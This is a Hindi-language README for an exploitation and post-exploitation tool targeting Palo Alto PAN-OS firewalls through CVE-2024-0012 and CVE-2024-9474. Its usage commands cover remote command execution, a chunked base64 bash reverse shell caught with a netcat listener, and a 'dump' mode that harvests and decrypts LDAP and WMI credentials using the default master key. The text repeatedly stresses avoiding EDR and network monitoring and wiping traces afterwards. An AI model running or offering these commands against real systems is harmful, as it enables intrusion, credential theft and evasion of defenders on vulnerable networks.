
Palo Alto PAN-OS प्रणालियों के लिए शोषण और पोस्ट-शोषण मल्टीटूल जो कमजोरियों CVE-2024-0012 और CVE-2024-9474 से प्रभावित हैं
पालो ऑल्टो PAN-OS सिस्टम के लिए शोषण और पोस्ट-शोषण मल्टीटूल जो CVE-2024-0012 और CVE-2024-9474 कमजोरियों से प्रभावित हैं।
CVE-2024-0012 और CVE-2024-9474 की रिमोट कोड एक्ज़ीक्यूशन कमजोरियों के प्रारंभिक शोषण के दौरान, मैंने एक शेल प्राप्त किया और उन कॉन्फ़िगरेशन फ़ाइलों की पहचान करना शुरू किया जिनमें विभिन्न पासवर्ड फ़ील्ड्स में अजीब स्ट्रिंग्स शामिल थीं। चूंकि ये स्पष्ट रूप से सामान्य हैश फ़ॉर्मेट नहीं थे, मेरी टीम और मैंने इसकी जांच शुरू की और जल्दी ही ThreatLabs वेबसाइट पर एक सुरक्षा सलाहकार पाया, जिसमें उल्लेख किया गया कि PAN-OS क्रेडेंशियल्स डिफ़ॉल्ट रूप से सार्वजनिक रूप से ज्ञात मास्टर कुंजी का उपयोग करके एन्क्रिप्ट किए जाते हैं (या थे?)। हालाँकि इस मास्टर कुंजी को डिवाइस के कॉन्फ़िगरेशन में बदला जा सकता है, मैंने पाया है कि डिफ़ॉल्ट मास्टर कुंजी का उपयोग हर उस उदाहरण में किया गया है जहाँ मुझे ये कमजोरियाँ मिली हैं। इस टूल को डिज़ाइन करने के माध्यम से, मेरा लक्ष्य इन कमजोरियों का शोषण करने, पोस्ट-शोषण और क्रेडेंशियल हार्वेस्टिंग करने, और यहाँ तक कि पूरी तरह से एन्क्रिप्टेड HTTPS ट्रैफ़िक के माध्यम से प्लेनटेक्स्ट क्रेडेंशियल प्राप्त करने का एक आसान तरीका बनाना है, बिना स्थायी कनेक्शन की आवश्यकता के जो नेटवर्क और ट्रैफ़िक मॉनिटरिंग समाधानों द्वारा पहचाने जा सकते हैं।
वर्तमान में स्वचालित रूप से LDAP और WMI क्रेडेंशियल पुनर्प्राप्त और डिक्रिप्ट करने का समर्थन करता है, हालाँकि मैंने दुर्लभ मामले देखे हैं जिनमें कॉन्फ़िग फ़ाइलों में गैर-मानक XML फ़ील्ड नामों वाले सीक्रेट स्ट्रिंग्स एन्क्रिप्टेड होते हैं। वर्तमान में इन अद्वितीय मामलों के कारणों की पहचान करने पर काम कर रहा हूँ ताकि पूर्ण समर्थन सुनिश्चित कर सकूँ। कृपया ध्यान दें कि यह अभी भी विकासाधीन है।
उपयोग करने से पहले, कृपया सुनिश्चित करें कि सभी आवश्यक निर्भरताएँ स्थापित हैं, नीचे दिए गए कमांड जैसे कमांड का उपयोग करके:
pip3 install -r requirements.txt
"check" कमांड आपको यह जाँचने की अनुमति देगा कि कोई रिमोट टार्गेट CVE-2024-0012 के लिए कमजोर है या नहीं। किसी रिमोट होस्ट को उसके IP पते से लक्ष्य करते समय, --no-verify आर्गुमेंट का उपयोग करना सुनिश्चित करें। उदाहरण:
python3 PanOsExploitMultitool.py check -t {TARGET} --no-verify

"command" कमांड आपको किसी रिमोट टार्गेट पर CVE-2024-0012 और CVE-2024-9474 का शोषण करने, मैन्युअल रूप से दिए गए कमांड को निष्पादित करने और वेब इंटरफ़ेस के माध्यम से परिणामी कमांड आउटपुट प्राप्त करने की अनुमति देगा। dump और shell कमांड के समान, दिया गया कमांड CVE-2024-9474 के कमांड इंजेक्शन कमजोरी में फिट होने के लिए पर्याप्त छोटे खंडों में विभाजित किया जाता है, एक लिखने योग्य डायरेक्ट्री (डिफ़ॉल्ट /var/tmp/) में एक अस्थायी शेल फ़ाइल में लिखा जाता है, फिर टार्गेट पर निष्पादित किया जाता है। आउटपुट को /var/appweb/htdocs{remote_dir} के तहत एक अस्थायी PHP फ़ाइल में लिखा जाता है, HTTPS के माध्यम से पुनर्प्राप्त किया जाता है, कंसोल पर प्रिंट किया जाता है, और स्वचालित रूप से साफ किया जाता है जब तक कि --no-cleanup आर्गुमेंट प्रदान न किया जाए। फिर से, जब आवश्यक हो तो --no-verify न भूलें।
python3 PanOsExploitMultitool.py command -t {TARGET} --no-verify -c '{COMMAND}'
वैकल्पिक --silentcommand फ्लैग उसी चंकिंग और इंजेक्शन विधि का उपयोग करके दिए गए कमांड को निष्पादित करता है, लेकिन आउटपुट को वेब-एक्सेसिबल फ़ाइल में रीडायरेक्ट किए बिना या कोई पुनर्प्राप्ति अनुरोध किए बिना। यह फायर-एंड-फॉरगेट क्रियाओं के लिए उपयोगी है जहाँ आउटपुट की आवश्यकता नहीं है, या जहाँ टार्गेट पर बनाए गए वेब अनुरोधों और फ़ाइलों की संख्या को कम करना प्राथमिकता है। चूंकि कोई आउटपुट फ़ाइल वेब पथ पर नहीं लिखी जाती है, सफाई केवल अस्थायी पेलोड चंक फ़ाइलों को लिखने योग्य डायरेक्ट्री से हटाती है — साफ करने के लिए कोई आउटपुट .php फ़ाइल नहीं है।
python3 PanOsExploitMultitool.py command -t {TARGET} --no-verify -c '{COMMAND}' --silentcommand
"shell" कमांड आपको किसी रिमोट टार्गेट पर CVE-2024-0012 और CVE-2024-9474 का शोषण करने और रिमोट होस्ट पर एक रिवर्स शेल प्राप्त करने की अनुमति देगा। मूल रूप से, यह कमांड एक मानक बैश रिवर्स शेल पेलोड बनाता है, इसे base64 एन्कोड करता है, base64 एन्कोडेड ब्लॉब को CVE-2024-9474 के कमांड इंजेक्शन कमजोरी में फिट होने के लिए पर्याप्त छोटे खंडों में विभाजित करता है, फिर प्रत्येक चंक को एक लिखने योग्य डायरेक्ट्री (डिफ़ॉल्ट /var/tmp/) में फ़ाइलों में echo करने के लिए कमांड निष्पादित करता है। एक बार ये चंक पूरी तरह से संग्रहीत हो जाते हैं, तो उन्हें एक एकल शेल फ़ाइल में एकत्रित किया जाता है और फिर होस्ट पर निष्पादित किया जाता है, जिसे एक अलग netcat लिस्नर (nc -nvlp {PORT}) से वापस कनेक्ट होना चाहिए।
कृपया ध्यान दें कि वर्तमान में स्थायी रिवर्स शेल कनेक्शन के कारण टाइमआउट फ़ाइल सफाई को होने से रोकता है, इसलिए आपको टूल के निष्पादन की शुरुआत में मुद्रित यादृच्छिक फ़ाइल नाम को नोट करना होगा और इसे {writable_dir} और /var/appweb/htdocs{remote_dir} स्थानों से साफ करना होगा। मैं अगले संस्करण में इसे ठीक करूँगा, लेकिन अभी तक ऐसा नहीं किया है। फिर से, जब आवश्यक हो तो --no-verify न भूलें।
nc -nvlp {PORT}
python3 PanOsExploitMultitool.py shell -t {TARGET} --lhost {LOCAL IP} --lport {LOCAL PORT} --no-verify

यह इस प्रोजेक्ट का मेरा प्राथमिक लक्ष्य था, और इस टूल को बनाने का मुख्य कारण था। चूँकि इन कमजोरियों से संबंधित अधिकांश राइटअप और टूलिंग रिमोट कोड एक्ज़ीक्यूशन से संबंधित रहे हैं, मैंने उस बिंदु से आगे उपयोगी पोस्ट-शोषण चरणों का वर्णन करने वाले कई उदाहरण नहीं पाए हैं। dump कमांड के साथ, आप न केवल दूरस्थ रूप से क्रेडेंशियल प्राप्त और डिक्रिप्ट कर सकते हैं, बल्कि इसे पूरी तरह से कुछ एन्क्रिप्टेड (HTTPS) वेब अनुरोधों के माध्यम से कर सकते हैं, बिना किसी स्थायी कनेक्शन की आवश्यकता के। चूँकि PAN-OS उपकरणों पर किसी भी प्रकार के EDR/MDR/IDR/XDR/?DR समाधान होने की संभावना काफी कम है, यह रेड टीम ऑपरेशन में विशेष रूप से प्रभावी है।
dump कमांड shell कमांड के समान चंकिंग और निष्पादन विधि का अनुसरण करता है, लेकिन रिवर्स शेल शुरू करने के बजाय, यह डिवाइस की कॉन्फ़िगरेशन फ़ाइलों (/opt/pancfg/mgmt/saved-configs/ में स्थित) से एन्क्रिप्टेड क्रेडेंशियल प्राप्त करता है और फिर सार्वजनिक रूप से ज्ञात मास्टर कुंजी का उपयोग करके पहचाने गए पासवर्ड को स्वचालित रूप से डिक्रिप्ट करता है। dump कमांड डिक्रिप्शन के अंत में बनाई गई किसी भी फ़ाइल को भी साफ करेगा, जब तक कि आप --no-cleanup आर्गुमेंट शामिल न करें। हमेशा की तरह, जब आवश्यक हो तो --no-verify न भूलें।
python3 PanOsExploitMultitool.py dump -t {TARGET} --no-verify
